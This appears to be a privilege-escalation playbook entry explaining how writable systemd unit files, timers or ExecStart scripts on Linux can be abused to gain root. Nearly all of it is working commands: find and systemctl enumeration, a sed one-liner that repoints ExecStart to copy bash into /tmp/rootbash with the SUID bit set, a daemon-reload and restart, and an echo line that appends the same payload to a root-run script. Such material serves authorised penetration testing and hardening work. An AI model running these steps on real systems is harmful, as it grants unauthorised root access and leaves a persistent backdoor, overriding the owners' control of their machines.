What it is
On modern Linux, systemd has largely replaced cron, and its units are a frequently-missed privesc surface. A writable .service or .timer file, or a root-run unit whose ExecStart binary or script you can edit, is a clean path to root. Timers are the systemd equivalent of cron jobs and are easy to overlook.
Find units and timers you can write to, and what runs on a schedule.
find /etc/systemd/system /lib/systemd/system /run/systemd/system -writable 2>/dev/null
systemctl list-timers --all
Inspect what a root service actually executes (is its ExecStart writable?):
systemctl cat <SERVICE>
Writable unit file: repoint ExecStart at a payload, reload, then trigger it.
sed -i 's#^ExecStart=.*#ExecStart=/bin/bash -c "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"#' /etc/systemd/system/<SERVICE>.service
systemctl daemon-reload && systemctl restart <SERVICE>
/tmp/rootbash -p
Writable ExecStart target: a root unit calls a script you can edit.
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> <WRITABLE-EXECSTART-SCRIPT>
Trigger the service/timer or wait for its schedule, then:
/tmp/rootbash -p
in playbooks